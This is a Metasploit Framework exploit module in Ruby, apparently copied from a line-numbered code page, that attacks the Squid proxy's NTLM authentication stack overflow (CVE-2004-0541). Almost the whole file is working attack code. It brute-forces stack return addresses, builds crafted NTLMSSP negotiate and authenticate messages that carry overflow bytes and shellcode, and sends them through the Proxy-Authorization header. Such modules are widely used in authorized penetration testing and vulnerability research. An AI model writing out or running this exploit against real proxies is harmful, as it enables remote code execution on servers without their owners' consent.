1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 |
## # $Id: squid_ntlm_authenticate.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Brute include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Squid NTLM Authenticate Overflow', 'Description'=> %q{ This is an exploit for Squid\'s NTLM authenticate overflow (libntlmssp.c). Due to improper bounds checking in ntlm_check_auth, it is possible to overflow the 'pass' variable on the stack with user controlled data of a user defined length.Props to iDEFENSE for the advisory. }, 'Author' => 'skape', 'Version'=> '$Revision: 9179 $', 'References' => [ [ 'CVE', '2004-0541'], [ 'OSVDB', '6791'], [ 'URL', 'http://www.idefense.com/application/poi/display?id=107'], [ 'BID', '10500'], ], 'Privileged' => false, 'Payload'=> { 'Space'=> 256, 'MinNops'=> 16, 'Prepend'=> "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80", 'PrependEncoder' => "\x83\xec\x7f", }, 'Targets'=> [ [ 'Linux Bruteforce', { 'Platform' => 'linux', 'Bruteforce' => { 'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c }, 'Stop'=> { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc }, 'Step'=> 0 } }, ], ], 'DisclosureDate' => 'Jun 8 2004', 'DefaultTarget'=> 0)) register_advanced_options( [ # We must wait 15 seconds between each attempt so as to prevent # squid from exiting completely after 5 crashes. OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]), ], self.class) end def brute_exploit(addresses) site = "http://" + rand_text_alpha(rand(128)) + ".com" print_status("Trying 0x#{"%.8x" % addresses['Ret']}...") connect trasnmit_negotiate(site) transmit_authenticate(site, addresses) handler disconnect end def trasnmit_negotiate(site) negotiate= "NTLMSSP\x00"+ # NTLMSSP identifier "\x01\x00\x00\x00" + # NTLMSSP_NEGOTIATE "\x07\x00\xb2\x07" + # flags "\x01\x00\x09\x00" + # workgroup len/max (1) "\x01\x00\x00\x00" + # workgroup offset(1) "\x01\x00\x03\x00" + # workstation len/max (1) "\x01\x00\x00\x00" # workstation offset(1) print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)") req = "GET #{site} HTTP/1.1\r\n" + "Proxy-Connection: Keep-Alive\r\n" + "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" + "\r\n" sock.put(req) end def transmit_authenticate(site, addresses) overflow = rand_text_alphanumeric(0x20) + [addresses['Ret']].pack('V') + [addresses['Valid']].pack('V') + "\xff\x00\x00\x00" shellcode= payload.encoded pass_len = [overflow.length + shellcode.length].pack('v') authenticate = "NTLMSSP\x00"+ # NTLMSSP identifier "\x03\x00\x00\x00" + # NTLMSSP_AUTHENTICATE pass_len + pass_len+ # lanman response len/max "\x38\x00\x00\x00" + # lanman response offset(56) "\x01\x00\x01\x00" + # nt response len/max (1) "\x01\x00\x00\x00" + # nt response offset(1) "\x01\x00\x01\x00" + # domain name len/max (1) "\x01\x00\x00\x00" + # domain name offset(1) "\x01\x00\x01\x00" + # user name (1) "\x01\x00\x00\x00" + # user name offset(1) "\x00\x00\x00\x00" + # session key "\x8b\x00\x00\x00" + # session key "\x06\x82\x00\x02" + # flags overflow + shellcode print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)") req = "GET #{site} HTTP/1.1\r\n" + "Proxy-Connection: Keep-Alive\r\n" + "Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" + "\r\n" sock.put(req) end end |